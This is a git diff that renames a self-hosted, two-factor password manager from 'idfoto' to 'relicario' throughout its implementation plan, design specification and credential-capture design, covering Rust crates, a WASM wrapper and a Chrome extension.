**Architecture:** Monolith service worker loads the WASM module and holds all state (master_key, cached manifest). Popup and content script are thin UI layers communicating via `chrome.runtime.sendMessage`. Vault data is fetched/committed directly via Gitea/GitHub REST APIs — no local clone, no CLI dependency.
**Tech Stack:** Rust + wasm-bindgen (WASM crate), TypeScript + webpack (extension), Chrome MV3 APIs
**Spec:** `docs/superpowers/specs/2026-04-12-idfoto-wasm-extension-design.md`
**Spec:** `docs/superpowers/specs/2026-04-12-relicario-wasm-extension-design.md`
---
@@ -17,7 +17,7 @@
### Rust (new crate)
```
crates/idfoto-wasm/
crates/relicario-wasm/
├── Cargo.toml
└── src/
└── lib.rs # wasm-bindgen wrappers + TOTP implementation
@@ -26,8 +26,8 @@ crates/idfoto-wasm/
### Rust (modified)
```
crates/idfoto-core/src/entry.rs # Add group field to Entry and ManifestEntry
Cargo.toml # Add idfoto-wasm to workspace members
crates/relicario-core/src/entry.rs # Add group field to Entry and ManifestEntry
Cargo.toml # Add relicario-wasm to workspace members
```
### Extension (all new)
@@ -73,13 +73,13 @@ extension/
## Task 0: Add Heavy Comments to Existing Rust Code
**Files:**
- Modify: `crates/idfoto-core/src/lib.rs`
- Modify: `crates/idfoto-core/src/error.rs`
- Modify: `crates/idfoto-core/src/crypto.rs`
- Modify: `crates/idfoto-core/src/entry.rs`
- Modify: `crates/idfoto-core/src/vault.rs`
- Modify: `crates/idfoto-core/src/imgsecret.rs`
- Modify: `crates/idfoto-cli/src/main.rs`
- Modify: `crates/relicario-core/src/lib.rs`
- Modify: `crates/relicario-core/src/error.rs`
- Modify: `crates/relicario-core/src/crypto.rs`
- Modify: `crates/relicario-core/src/entry.rs`
- Modify: `crates/relicario-core/src/vault.rs`
- Modify: `crates/relicario-core/src/imgsecret.rs`
- Modify: `crates/relicario-cli/src/main.rs`
Add thorough documentation comments to all existing Rust code. Every public function, struct, field, constant, and non-trivial private function should have doc comments explaining what it does, why it exists, and any important constraints. Module-level docs should explain the module's role in the overall architecture.
@@ -96,9 +96,9 @@ Guidelines:
- [ ] **Step 1: Add module-level docs and comments to `lib.rs`**
```rust
//! # idfoto-core
//! # relicario-core
//!
//! Platform-agnostic core library for the idfoto password manager.
//! Platform-agnostic core library for the relicario password manager.
//!
//! This crate is deliberately bytes-in/bytes-out — no filesystem, no network,
//! no git operations. This makes it portable to WASM (browser extension),
@@ -174,7 +174,7 @@ Expected: All tests pass unchanged.
- [ ] **Step 9: Commit**
```bash
git add crates/idfoto-core/src/ crates/idfoto-cli/src/main.rs
git add crates/relicario-core/src/ crates/relicario-cli/src/main.rs
git commit -m "docs: add heavy documentation comments to all Rust code"
```
@@ -183,14 +183,14 @@ git commit -m "docs: add heavy documentation comments to all Rust code"
## Task 1: Add `group` Field to Core Data Model
**Files:**
- Modify: `crates/idfoto-core/src/entry.rs`
- Modify: `crates/idfoto-core/src/vault.rs` (test helpers)
- Modify: `crates/idfoto-cli/src/main.rs` (Entry construction sites)
- Test: `crates/idfoto-core/src/entry.rs` (inline tests)
- Modify: `crates/relicario-core/src/entry.rs`
- Modify: `crates/relicario-core/src/vault.rs` (test helpers)
- Modify: `crates/relicario-cli/src/main.rs` (Entry construction sites)
- Test: `crates/relicario-core/src/entry.rs` (inline tests)
- [ ] **Step 1: Add `group` field to `Entry` struct**
In `crates/idfoto-core/src/entry.rs`, add the field after `totp_secret`:
In `crates/relicario-core/src/entry.rs`, add the field after `totp_secret`:
```rust
pub struct Entry {
@@ -232,7 +232,7 @@ pub struct ManifestEntry {
Update every place that constructs `Entry` or `ManifestEntry` to include `group: None`. These are:
In `crates/idfoto-core/src/entry.rs` tests — `entry_serialization_round_trip`, `manifest_add_and_lookup`, `manifest_serialization_round_trip`, `manifest_search_case_insensitive`:
In `crates/relicario-core/src/entry.rs` tests — `entry_serialization_round_trip`, `manifest_add_and_lookup`, `manifest_serialization_round_trip`, `manifest_search_case_insensitive`:
```rust
// Every Entry construction gets:
@@ -242,7 +242,7 @@ group: None,
group: None,
```
In `crates/idfoto-core/src/vault.rs` tests — `sample_entry()` helper and `manifest_encrypt_decrypt_round_trip`:
In `crates/relicario-core/src/vault.rs` tests — `sample_entry()` helper and `manifest_encrypt_decrypt_round_trip`:
```rust
// sample_entry() gets:
@@ -252,7 +252,7 @@ group: None,
group: None,
```
In `crates/idfoto-core/tests/integration.rs``full_vault_workflow()` Entry construction (line ~55) and ManifestEntry (line ~101):
In `crates/relicario-core/tests/integration.rs``full_vault_workflow()` Entry construction (line ~55) and ManifestEntry (line ~101):
```rust
// Entry construction gets:
@@ -262,7 +262,7 @@ group: None,
group: None,
```
In `crates/idfoto-cli/src/main.rs``cmd_add()` Entry construction (line ~328), `cmd_add()` ManifestEntry (line ~349), `cmd_edit()` Entry construction (line ~513), `cmd_edit()` ManifestEntry (line ~536):
In `crates/relicario-cli/src/main.rs``cmd_add()` Entry construction (line ~328), `cmd_add()` ManifestEntry (line ~349), `cmd_edit()` Entry construction (line ~513), `cmd_edit()` ManifestEntry (line ~536):
```rust
// Every Entry construction gets:
@@ -274,7 +274,7 @@ group: None,
- [ ] **Step 4: Add a test for backwards compatibility (deserialize without group)**
In `crates/idfoto-core/src/entry.rs` tests:
In `crates/relicario-core/src/entry.rs` tests:
```rust
#[test]
@@ -329,35 +329,35 @@ Expected: All tests pass, including new backwards-compatibility tests.
- [ ] **Step 6: Commit**
```bash
git add crates/idfoto-core/src/entry.rs crates/idfoto-core/src/vault.rs crates/idfoto-core/tests/integration.rs crates/idfoto-cli/src/main.rs
git add crates/relicario-core/src/entry.rs crates/relicario-core/src/vault.rs crates/relicario-core/tests/integration.rs crates/relicario-cli/src/main.rs
git commit -m "feat: add group field to Entry and ManifestEntry"
```
---
## Task 2: Create `idfoto-wasm` Crate
## Task 2: Create `relicario-wasm` Crate
**Files:**
- Create: `crates/idfoto-wasm/Cargo.toml`
- Create: `crates/idfoto-wasm/src/lib.rs`
- Create: `crates/relicario-wasm/Cargo.toml`
- Create: `crates/relicario-wasm/src/lib.rs`
- Modify: `Cargo.toml` (workspace members)
- [ ] **Step 1: Create Cargo.toml**
Create `crates/idfoto-wasm/Cargo.toml`:
Create `crates/relicario-wasm/Cargo.toml`:
```toml
[package]
name = "idfoto-wasm"
name = "relicario-wasm"
version = "0.1.0"
edition = "2021"
description = "WASM bindings for idfoto password manager"
description = "WASM bindings for relicario password manager"
[lib]
crate-type = ["cdylib", "rlib"]
[dependencies]
idfoto-core = { path = "../idfoto-core" }
relicario-core = { path = "../relicario-core" }
wasm-bindgen = "0.2"
js-sys = "0.3"
serde_json = "1"
@@ -371,21 +371,21 @@ wasm-bindgen-test = "0.3"
- [ ] **Step 2: Add to workspace**
In root `Cargo.toml`, add `"crates/idfoto-wasm"` to the members list:
In root `Cargo.toml`, add `"crates/relicario-wasm"` to the members list:
```toml
[workspace]
resolver = "2"
members = [
"crates/idfoto-core",
"crates/idfoto-cli",
"crates/idfoto-wasm",
"crates/relicario-core",
"crates/relicario-cli",
"crates/relicario-wasm",
]
```
- [ ] **Step 3: Write the WASM wrapper**
Create `crates/idfoto-wasm/src/lib.rs`:
Create `crates/relicario-wasm/src/lib.rs`:
```rust
use wasm_bindgen::prelude::*;
@@ -399,7 +399,7 @@ pub fn derive_master_key(
salt: &[u8],
params_json: &str,
) -> Result<Vec<u8>, JsValue> {
let params: idfoto_core::KdfParams =
let params: relicario_core::KdfParams =
serde_json::from_str(params_json).map_err(|e| JsValue::from_str(&e.to_string()))?;
let image_secret: [u8; 32] = image_secret
@@ -409,7 +409,7 @@ pub fn derive_master_key(
.try_into()
.map_err(|_| JsValue::from_str("salt must be exactly 32 bytes"))?;
let key = idfoto_core::derive_master_key(passphrase.as_bytes(), &image_secret, &salt, &params)
let key = relicario_core::derive_master_key(passphrase.as_bytes(), &image_secret, &salt, &params)
.map_err(|e| JsValue::from_str(&e.to_string()))?;
Ok(key.to_vec())
@@ -421,7 +421,7 @@ pub fn encrypt(plaintext: &[u8], key: &[u8]) -> Result<Vec<u8>, JsValue> {
let key: [u8; 32] = key
.try_into()
.map_err(|_| JsValue::from_str("key must be exactly 32 bytes"))?;
idfoto_core::crypto::encrypt(&key, plaintext).map_err(|e| JsValue::from_str(&e.to_string()))
relicario_core::crypto::encrypt(&key, plaintext).map_err(|e| JsValue::from_str(&e.to_string()))
}
/// Decrypt ciphertext with a 32-byte key. Returns plaintext bytes.
@@ -430,14 +430,14 @@ pub fn decrypt(ciphertext: &[u8], key: &[u8]) -> Result<Vec<u8>, JsValue> {
let key: [u8; 32] = key
.try_into()
.map_err(|_| JsValue::from_str("key must be exactly 32 bytes"))?;
idfoto_core::crypto::decrypt(&key, ciphertext).map_err(|e| JsValue::from_str(&e.to_string()))
relicario_core::crypto::decrypt(&key, ciphertext).map_err(|e| JsValue::from_str(&e.to_string()))
}
/// Extract a 256-bit secret from a JPEG with an embedded secret.
#[wasm_bindgen]
pub fn extract_image_secret(jpeg_bytes: &[u8]) -> Result<Vec<u8>, JsValue> {
let secret =
idfoto_core::imgsecret::extract(jpeg_bytes).map_err(|e| JsValue::from_str(&e.to_string()))?;
relicario_core::imgsecret::extract(jpeg_bytes).map_err(|e| JsValue::from_str(&e.to_string()))?;
Ok(secret.to_vec())
}
@@ -447,9 +447,9 @@ pub fn encrypt_entry(entry_json: &str, key: &[u8]) -> Result<Vec<u8>, JsValue> {
let key: [u8; 32] = key
.try_into()
.map_err(|_| JsValue::from_str("key must be exactly 32 bytes"))?;
let entry: idfoto_core::Entry =
let entry: relicario_core::Entry =
serde_json::from_str(entry_json).map_err(|e| JsValue::from_str(&e.to_string()))?;
idfoto_core::encrypt_entry(&key, &entry).map_err(|e| JsValue::from_str(&e.to_string()))
relicario_core::encrypt_entry(&key, &entry).map_err(|e| JsValue::from_str(&e.to_string()))
}
/// Decrypt an entry from encrypted bytes. Returns JSON string.
@@ -459,7 +459,7 @@ pub fn decrypt_entry(ciphertext: &[u8], key: &[u8]) -> Result<String, JsValue> {
.try_into()
.map_err(|_| JsValue::from_str("key must be exactly 32 bytes"))?;
let entry =
idfoto_core::decrypt_entry(&key, ciphertext).map_err(|e| JsValue::from_str(&e.to_string()))?;
relicario_core::decrypt_entry(&key, ciphertext).map_err(|e| JsValue::from_str(&e.to_string()))?;
serde_json::to_string(&entry).map_err(|e| JsValue::from_str(&e.to_string()))
}
@@ -469,9 +469,9 @@ pub fn encrypt_manifest(manifest_json: &str, key: &[u8]) -> Result<Vec<u8>, JsVa
let key: [u8; 32] = key
.try_into()
.map_err(|_| JsValue::from_str("key must be exactly 32 bytes"))?;
let manifest: idfoto_core::Manifest =
let manifest: relicario_core::Manifest =
serde_json::from_str(manifest_json).map_err(|e| JsValue::from_str(&e.to_string()))?;
idfoto_core::encrypt_manifest(&key, &manifest).map_err(|e| JsValue::from_str(&e.to_string()))
relicario_core::encrypt_manifest(&key, &manifest).map_err(|e| JsValue::from_str(&e.to_string()))
}
/// Decrypt a manifest from encrypted bytes. Returns JSON string.
@@ -480,7 +480,7 @@ pub fn decrypt_manifest(ciphertext: &[u8], key: &[u8]) -> Result<String, JsValue
let key: [u8; 32] = key
.try_into()
.map_err(|_| JsValue::from_str("key must be exactly 32 bytes"))?;
let manifest = idfoto_core::decrypt_manifest(&key, ciphertext)
let manifest = relicario_core::decrypt_manifest(&key, ciphertext)
.map_err(|e| JsValue::from_str(&e.to_string()))?;
serde_json::to_string(&manifest).map_err(|e| JsValue::from_str(&e.to_string()))
}
@@ -618,27 +618,27 @@ mod tests {
- [ ] **Step 4: Verify it compiles**
Run: `cargo build -p idfoto-wasm`
Run: `cargo build -p relicario-wasm`
Expected: Compiles successfully.
- [ ] **Step 5: Run tests**
Run: `cargo test -p idfoto-wasm`
Run: `cargo test -p relicario-wasm`
Expected: All tests pass, including TOTP RFC 6238 test vectors.
- [ ] **Step 6: Test WASM compilation**
Run: `cargo install wasm-pack` (if not already installed), then:
```bash
wasm-pack build crates/idfoto-wasm --target web --out-dir ../../extension/wasm
wasm-pack build crates/relicario-wasm --target web --out-dir ../../extension/wasm
```
Expected: Produces `extension/wasm/idfoto_wasm.js` and `extension/wasm/idfoto_wasm_bg.wasm`. Note the WASM binary size for later reference.
Expected: Produces `extension/wasm/relicario_wasm.js` and `extension/wasm/relicario_wasm_bg.wasm`. Note the WASM binary size for later reference.
- [ ] **Step 7: Commit**
```bash
git add crates/idfoto-wasm/ Cargo.toml extension/wasm/
git commit -m "feat: add idfoto-wasm crate with wasm-bindgen wrappers and TOTP"
git add crates/relicario-wasm/ Cargo.toml extension/wasm/
git commit -m "feat: add relicario-wasm crate with wasm-bindgen wrappers and TOTP"
```
---
@@ -658,13 +658,13 @@ git commit -m "feat: add idfoto-wasm crate with wasm-bindgen wrappers and TOTP"
```json
{
"name": "idfoto-extension",
"name": "relicario-extension",
"version": "0.1.0",
"private": true,
"scripts": {
"build": "webpack --mode production",
"dev": "webpack --mode development --watch",
"build:wasm": "wasm-pack build ../crates/idfoto-wasm --target web --out-dir ../../extension/wasm",
"build:wasm": "wasm-pack build ../crates/relicario-wasm --target web --out-dir ../../extension/wasm",
"build:all": "npm run build:wasm && npm run build"
},
"devDependencies": {
@@ -682,13 +682,13 @@ Note: `@anthropic-ai/sdk` is NOT needed — remove that. The devDependencies sho
```json
{
"name": "idfoto-extension",
"name": "relicario-extension",
"version": "0.1.0",
"private": true,
"scripts": {
"build": "webpack --mode production",
"dev": "webpack --mode development --watch",
"build:wasm": "wasm-pack build ../crates/idfoto-wasm --target web --out-dir ../../extension/wasm",
"build:wasm": "wasm-pack build ../crates/relicario-wasm --target web --out-dir ../../extension/wasm",
"build:all": "npm run build:wasm && npm run build"
},
"devDependencies": {
@@ -706,13 +706,13 @@ Actually, strike that — no anthropic SDK. Final version:
```json
{
"name": "idfoto-extension",
"name": "relicario-extension",
"version": "0.1.0",
"private": true,
"scripts": {
"build": "webpack --mode production",
"dev": "webpack --mode development --watch",
"build:wasm": "wasm-pack build ../crates/idfoto-wasm --target web --out-dir ../../extension/wasm",
"build:wasm": "wasm-pack build ../crates/relicario-wasm --target web --out-dir ../../extension/wasm",
"build:all": "npm run build:wasm && npm run build"
},
"devDependencies": {
@@ -781,8 +781,8 @@ module.exports = {
{ from: 'src/popup/index.html', to: 'popup.html' },
{ from: 'src/popup/styles.css', to: 'styles.css' },
{ from: 'icons', to: 'icons' },
{ from: 'wasm/idfoto_wasm_bg.wasm', to: '.' },
{ from: 'wasm/idfoto_wasm.js', to: '.' },
{ from: 'wasm/relicario_wasm_bg.wasm', to: '.' },
{ from: 'wasm/relicario_wasm.js', to: '.' },
],
}),
],
@@ -797,7 +797,7 @@ module.exports = {
```json
{
"manifest_version": 3,
"name": "idfoto",
"name": "relicario",
"version": "0.1.0",
"description": "Two-factor encrypted password manager",
"permissions": ["storage", "activeTab", "clipboardWrite"],
@@ -838,7 +838,7 @@ Create `extension/src/popup/index.html`:
<meta charset="UTF-8">
<meta name="viewport" content="width=360">
<link rel="stylesheet" href="styles.css">
<title>idfoto</title>
<title>relicario</title>
</head>
<body>
<div id="app"></div>
@@ -1286,15 +1286,15 @@ import type { GitHost } from './git-host';
import type { Entry, Manifest, ManifestEntry } from '../shared/types';
// These will be set by the service worker index after WASM init
let wasm: typeof import('../../wasm/idfoto_wasm');
let wasm: typeof import('../../wasm/relicario_wasm');
export function setWasm(w: typeof wasm) {
wasm = w;
}
export async function fetchVaultMeta(git: GitHost): Promise<{ salt: Uint8Array; paramsJson: string }> {
const salt = await git.readFile('.idfoto/salt');
const paramsBytes = await git.readFile('.idfoto/params.json');
const salt = await git.readFile('.relicario/salt');
const paramsBytes = await git.readFile('.relicario/params.json');
const paramsJson = new TextDecoder().decode(paramsBytes);
return { salt, paramsJson };
}
@@ -1414,13 +1414,13 @@ import {
let masterKey: Uint8Array | null = null;
let manifest: Manifest | null = null;
let gitHost: GitHost | null = null;
let wasm: typeof import('../../wasm/idfoto_wasm') | null = null;
let wasm: typeof import('../../wasm/relicario_wasm') | null = null;
// ─── WASM initialization ───────────────────────────────────────────────────
async function initWasm(): Promise<typeof import('../../wasm/idfoto_wasm')> {
async function initWasm(): Promise<typeof import('../../wasm/relicario_wasm')> {
if (wasm) return wasm;
const mod = await import(/* webpackIgnore: true */ './idfoto_wasm.js');
const mod = await import(/* webpackIgnore: true */ './relicario_wasm.js');
await mod.default();
wasm = mod;
setWasm(mod);
@@ -2118,7 +2118,7 @@ import { sendMessage, navigate } from '../popup';
export function renderUnlock(container: HTMLElement) {
container.innerHTML = `
<div class="brand">idfoto</div>
<div class="brand">relicario</div>
<div style="margin-top: 16px">
<div class="label">PASSPHRASE</div>
<input type="password" id="passphrase" placeholder="Enter passphrase..." autofocus>
@@ -2181,7 +2181,7 @@ import type { ManifestEntry } from '../../shared/types';
export async function renderEntryList(container: HTMLElement) {
container.innerHTML = `
<div class="header">
<div class="brand">idfoto</div>
<div class="brand">relicario</div>
<div class="status">🔓 unlocked</div>
</div>
<div class="search-bar">
@@ -2702,7 +2702,7 @@ export function renderSetupWizard(container: HTMLElement) {
function render() {
container.innerHTML = `
<div class="brand">idfoto setup</div>
<div class="brand">relicario setup</div>
<div class="wizard-step">step ${step} of 3 — ${['repository', 'reference image', 'test unlock'][step - 1]}</div>
<div class="progress-bar"><div class="progress-bar-fill" style="width: ${(step / 3) * 100}%"></div></div>
<div id="wizard-content"></div>
@@ -3128,10 +3128,10 @@ function showPicker(
passwordField: HTMLInputElement
) {
// Remove any existing picker
document.querySelectorAll('.idfoto-picker').forEach((el) => el.remove());
document.querySelectorAll('.relicario-picker').forEach((el) => el.remove());
const picker = document.createElement('div');
picker.className = 'idfoto-picker';
picker.className = 'relicario-picker';
picker.style.cssText = `
position: absolute;
right: 0;
@@ -3222,7 +3222,7 @@ git commit -m "feat: add content script with form detection, field icon, and aut
```bash
# Build WASM
wasm-pack build crates/idfoto-wasm --target web --out-dir ../../extension/wasm
wasm-pack build crates/relicario-wasm --target web --out-dir ../../extension/wasm
# Install deps and build extension
cd extension && npm install && npm run build
@@ -3233,8 +3233,8 @@ Expected: `extension/dist/` contains all files needed to load as an unpacked Chr
- [ ] **Step 2: Note the WASM binary size**
```bash
ls -lh extension/wasm/idfoto_wasm_bg.wasm
ls -lh extension/dist/idfoto_wasm_bg.wasm
ls -lh extension/wasm/relicario_wasm_bg.wasm
ls -lh extension/dist/relicario_wasm_bg.wasm
```
Record the size for reference. If >2 MB uncompressed, consider optimizing later.
@@ -3276,7 +3276,7 @@ git commit -m "feat: complete WASM + Chrome MV3 extension build"
|------|-------------|--------------|
| 0 | Add heavy comments to existing Rust code | None |
| 1 | Add `group` field to core data model | Task 0 |
| 2 | Create `idfoto-wasm` crate | Task 1 |
| 2 | Create `relicario-wasm` crate | Task 1 |
| 3 | Extension scaffolding | Task 2 |
| 4 | Shared types and messages | Task 3 |
| 5 | Git API layer | Task 4 |

File diff suppressed because it is too large Load Diff

View File

@@ -1,10 +1,10 @@
# idfoto — Design Specification
# relicario — Design Specification
A git-backed, self-hostable password manager with a Rust core, CLI, and Chrome browser extension. The reference image as a DCT-embedded secret carrier is the core differentiator.
## Overview
idfoto is a password manager where vault decryption requires two independent factors: a passphrase the user memorizes and a reference JPEG that carries a 256-bit secret embedded via DCT steganography. The vault lives in a git repository (self-hosted on the user's own Gitea instance), and the server only ever sees opaque ciphertext. Compromise of either factor alone is insufficient to decrypt the vault.
relicario is a password manager where vault decryption requires two independent factors: a passphrase the user memorizes and a reference JPEG that carries a 256-bit secret embedded via DCT steganography. The vault lives in a git repository (self-hosted on the user's own Gitea instance), and the server only ever sees opaque ciphertext. Compromise of either factor alone is insufficient to decrypt the vault.
Primary goals: portfolio project for adlee.work, architectural elegance, legibility-as-security (the README should read as the security proof), learning Rust, and fun to tinker with.
@@ -23,7 +23,7 @@ A collection of credentials (usernames, passwords, URLs, TOTP seeds, notes) belo
| Stolen device | Filesystem: reference image, device key, cached vault | Decrypt vault | Attacker has image_secret but not passphrase. Argon2id makes brute-force expensive. |
| Stolen device + weak passphrase | Same + feasible brute-force | Decrypt vault | Enforce minimum passphrase strength at vault creation. Universal worst case. |
| Shoulder surfer | Observed passphrase | Decrypt vault (if they also get image) | Passphrase alone insufficient — still need image_secret. |
| Credential stuffing | Leaked email/password from other breaches | Access user's accounts | idfoto generates unique passwords per site. Breach of site A doesn't compromise site B. |
| Credential stuffing | Leaked email/password from other breaches | Access user's accounts | relicario generates unique passwords per site. Breach of site A doesn't compromise site B. |
### Out of scope
@@ -50,7 +50,7 @@ passphrase (user types, UTF-8 encoded)
Argon2id(
password = passphrase_bytes || image_secret_bytes, // concatenated, 32-byte secret appended
salt = vault_salt, // 32 bytes, from .idfoto/salt
salt = vault_salt, // 32 bytes, from .relicario/salt
memory = 64 MiB,
iterations = 3,
parallelism = 4,
@@ -79,7 +79,7 @@ With a 4-word diceware passphrase (~51 bits) and Argon2id at 64 MiB, brute-force
Compared to competitors:
- LastPass/Bitwarden: server breach exposes ~40-60 bits (master password only)
- 1Password: server breach exposes password + 128-bit Secret Key
- idfoto: server breach exposes password + 256-bit image_secret
- relicario: server breach exposes password + 256-bit image_secret
### Authenticated encryption
@@ -103,7 +103,7 @@ Nonce is generated fresh (CSPRNG) on every write. Version byte allows future for
### KDF parameters
Stored in `.idfoto/params.json` (plaintext, committed). Configurable per-vault:
Stored in `.relicario/params.json` (plaintext, committed). Configurable per-vault:
- Default: `argon2_m=65536` (64 MiB), `argon2_t=3`, `argon2_p=4`
- Users can increase for CLI-only use on powerful hardware
- Enables future parameter upgrades without format changes
@@ -177,13 +177,13 @@ Caller must normalize EXIF orientation before passing JPEG to embed/extract. EXI
## Vault Format & Repo Layout
```
idfoto-vault/
relicario-vault/
├── manifest.enc # encrypted JSON: entry index, vault metadata
├── entries/
│ ├── a1b2c3d4.enc # one encrypted entry per file, random hex ID
│ ├── e5f6a7b8.enc
│ └── ...
└── .idfoto/
└── .relicario/
├── salt # 32 bytes, plaintext (prevents precomputation)
├── params.json # Argon2id parameters, plaintext
└── devices.json # authorized device ed25519 public keys, plaintext
@@ -226,7 +226,7 @@ Flat schema. No nested objects, no folders, no tags for V1. Entry IDs are random
### Plaintext metadata
Stored in `.idfoto/` and committed to the repo:
Stored in `.relicario/` and committed to the repo:
- `salt`: 32 random bytes, generated once at vault creation
- `params.json`: Argon2id tuning knobs (memory, iterations, parallelism, format version)
- `devices.json`: list of authorized device ed25519 public keys, used to verify commit signatures
@@ -244,20 +244,20 @@ Preserved as-is. Every add/edit/rm is a commit. Provides "when was this password
## Crate Layout
```
idfoto/
relicario/
├── Cargo.toml # workspace root
├── crates/
│ ├── idfoto-core/ # library: imgsecret, KDF, vault format
│ ├── relicario-core/ # library: imgsecret, KDF, vault format
│ │ └── src/
│ │ ├── lib.rs
│ │ ├── imgsecret.rs
│ │ ├── kdf.rs
│ │ ├── vault.rs
│ │ └── entry.rs
│ ├── idfoto-cli/ # binary: the `idfoto` CLI
│ ├── relicario-cli/ # binary: the `relicario` CLI
│ │ └── src/
│ │ └── main.rs
│ └── idfoto-wasm/ # wasm-bindgen wrapper around core
│ └── relicario-wasm/ # wasm-bindgen wrapper around core
│ └── src/
│ └── lib.rs
├── extension/ # TypeScript Chrome MV3 extension
@@ -271,14 +271,14 @@ idfoto/
### Design principles
- **`idfoto-core` is platform-agnostic.** No filesystem, no git, no network. Takes bytes, returns bytes. This makes it trivially portable to WASM, Android (via JNI), iOS (via Swift bridge).
- **`idfoto-cli`** is the platform layer. Handles filesystem, git operations (shells out to `git`), clipboard, terminal I/O.
- **`idfoto-wasm`** is a thin wasm-bindgen wrapper exposing core functions to JavaScript.
- **`relicario-core` is platform-agnostic.** No filesystem, no git, no network. Takes bytes, returns bytes. This makes it trivially portable to WASM, Android (via JNI), iOS (via Swift bridge).
- **`relicario-cli`** is the platform layer. Handles filesystem, git operations (shells out to `git`), clipboard, terminal I/O.
- **`relicario-wasm`** is a thin wasm-bindgen wrapper exposing core functions to JavaScript.
- **`extension/`** is TypeScript/MV3. Loads the WASM module, runs crypto inline (no native messaging bridge).
### Rust crate dependencies (expected)
**idfoto-core:**
**relicario-core:**
- `argon2` — Argon2id KDF
- `chacha20poly1305` — XChaCha20-Poly1305 AEAD
- `sha2` — SHA-256 for hashing
@@ -290,44 +290,44 @@ idfoto/
- `ed25519-dalek` — device key signing (used by CLI, exposed via core)
- `thiserror` — error types
**idfoto-cli:**
**relicario-cli:**
- `clap` (derive) — argument parsing
- `anyhow` — CLI error handling
- `rpassword` — passphrase prompt without echo
- `arboard` or `cli-clipboard` — clipboard access
- `dirs` — platform config/data directories
**idfoto-wasm:**
**relicario-wasm:**
- `wasm-bindgen` — JS interop
- `js-sys`, `web-sys` — browser APIs
## CLI Commands
```
idfoto init # Create vault: generate salt, prompt for passphrase,
relicario init # Create vault: generate salt, prompt for passphrase,
# prompt for carrier image, embed image_secret,
# output reference JPEG, git init + first commit
idfoto add # Prompt for entry fields, encrypt, commit
idfoto get <name> # Case-insensitive substring match on name/URL, decrypt, copy password to clipboard (30s TTL)
idfoto list # Decrypt manifest, print entry names/URLs
idfoto edit <name> # Decrypt entry, prompt for changes, re-encrypt, commit
idfoto rm <name> # Remove entry file, update manifest, commit
idfoto sync # git pull --rebase && git push
idfoto generate # Generate a random password (utility, no vault interaction)
relicario add # Prompt for entry fields, encrypt, commit
relicario get <name> # Case-insensitive substring match on name/URL, decrypt, copy password to clipboard (30s TTL)
relicario list # Decrypt manifest, print entry names/URLs
relicario edit <name> # Decrypt entry, prompt for changes, re-encrypt, commit
relicario rm <name> # Remove entry file, update manifest, commit
relicario sync # git pull --rebase && git push
relicario generate # Generate a random password (utility, no vault interaction)
idfoto device add # Generate ed25519 keypair, add pubkey to devices.json, commit
idfoto device list # List authorized devices
idfoto device revoke <name> # Remove device from devices.json, commit
relicario device add # Generate ed25519 keypair, add pubkey to devices.json, commit
relicario device list # List authorized devices
relicario device revoke <name> # Remove device from devices.json, commit
```
Unlock flow: on any command that needs the vault, the CLI prompts for the passphrase and the reference image path (or uses a configured default path). Derives master_key, holds it in memory for the duration of the command, then drops it. No persistent daemon for V1 — each invocation re-derives.
Future: `idfoto unlock` could spawn a background agent (ssh-agent-style) that holds the key for a configurable TTL, so subsequent commands don't re-prompt.
Future: `relicario unlock` could spawn a background agent (ssh-agent-style) that holds the key for a configurable TTL, so subsequent commands don't re-prompt.
## Chrome Extension Architecture
The Chrome MV3 extension loads `idfoto-wasm` directly — no native messaging bridge.
The Chrome MV3 extension loads `relicario-wasm` directly — no native messaging bridge.
- **Service worker:** initializes the WASM module, holds the master_key in memory after unlock, handles vault operations
- **Popup:** passphrase prompt, entry list/search, entry detail view
@@ -343,16 +343,16 @@ Extension design details (popup UI, content script heuristics, autofill flow) ar
Not in V1 scope. Planned approach:
- `idfoto export-recovery` generates a small encrypted file containing only the `image_secret` (32 bytes + metadata), locked with the passphrase alone (separate Argon2id derivation)
- `relicario export-recovery` generates a small encrypted file containing only the `image_secret` (32 bytes + metadata), locked with the passphrase alone (separate Argon2id derivation)
- User stores this file offline (USB drive, printed QR, safe deposit box)
- Recovery: `idfoto recover --file recovery.enc` + passphrase → recovers image_secret → can decrypt vault from git
- Recovery: `relicario recover --file recovery.enc` + passphrase → recovers image_secret → can decrypt vault from git
- This is a second backup path alongside the "dead drop" reference JPEG (which can live on social media, personal website, etc.)
## Post-V1 Ideas
- **Secure notes:** free-form encrypted text entries (no URL/username/password schema, just a title + body). Same encryption, same repo layout — just a different entry type field.
- **Secure document storage:** encrypted file attachments up to 5-10 MB per entry. Stored as separate `.enc` blobs in an `attachments/` directory, referenced by entry ID. Git handles large binary blobs tolerably at this scale; git-lfs is an option if vaults grow beyond ~100 MB total.
- **`idfoto unlock` daemon:** ssh-agent-style background process that holds master_key for a configurable TTL, so repeated CLI commands don't re-prompt for passphrase.
- **`relicario unlock` daemon:** ssh-agent-style background process that holds master_key for a configurable TTL, so repeated CLI commands don't re-prompt for passphrase.
- **Mobile clients (Android/iOS):** Rust core compiles to ARM. Thin native wrappers (Kotlin/Swift) deferred.
- **Import from LastPass/Bitwarden/1Password**
- **Firefox/Safari extensions**

View File

@@ -1,4 +1,4 @@
# idfoto — Credential Capture Design
# relicario — Credential Capture Design
Experimental feature that detects login form submissions and prompts the user to save or update credentials in the vault. Configurable prompt style (notification bar or toast). Off by default.
@@ -60,7 +60,7 @@ A fixed-position bar at the top of the page, injected into the DOM:
```
┌──────────────────────────────────────────────────────────────────┐
idfoto: Save login for github.com? (alee) [Save] [Never] [✕] │
relicario: Save login for github.com? (alee) [Save] [Never] [✕] │
└──────────────────────────────────────────────────────────────────┘
```
@@ -77,7 +77,7 @@ A floating element in the bottom-right corner:
```
┌─────────────────────────────────┐
idfoto │
relicario │
│ Save login for github.com? │
│ alee │
│ [Save] [Never] [✕] │
@@ -103,7 +103,7 @@ When user clicks:
Stored in `chrome.storage.local` under key `settings`:
```typescript
interface IdfotoSettings {
interface RelicarioSettings {
captureEnabled: boolean; // default: false
captureStyle: 'bar' | 'toast'; // default: 'bar'
}
@@ -138,7 +138,7 @@ The toggle and style selector write to `chrome.storage.local`. Blacklist entries
| { type: 'check_credential'; url: string; username: string; password: string }
| { type: 'blacklist_site'; hostname: string }
| { type: 'get_settings' }
| { type: 'update_settings'; settings: Partial<IdfotoSettings> }
| { type: 'update_settings'; settings: Partial<RelicarioSettings> }
| { type: 'get_blacklist' }
| { type: 'remove_blacklist'; hostname: string }
@@ -161,7 +161,7 @@ extension/src/popup/components/settings.ts # Settings view
extension/src/content/detector.ts # Import and init capture module
extension/src/service-worker/index.ts # Handle new message types
extension/src/shared/messages.ts # Add new Request/Response types
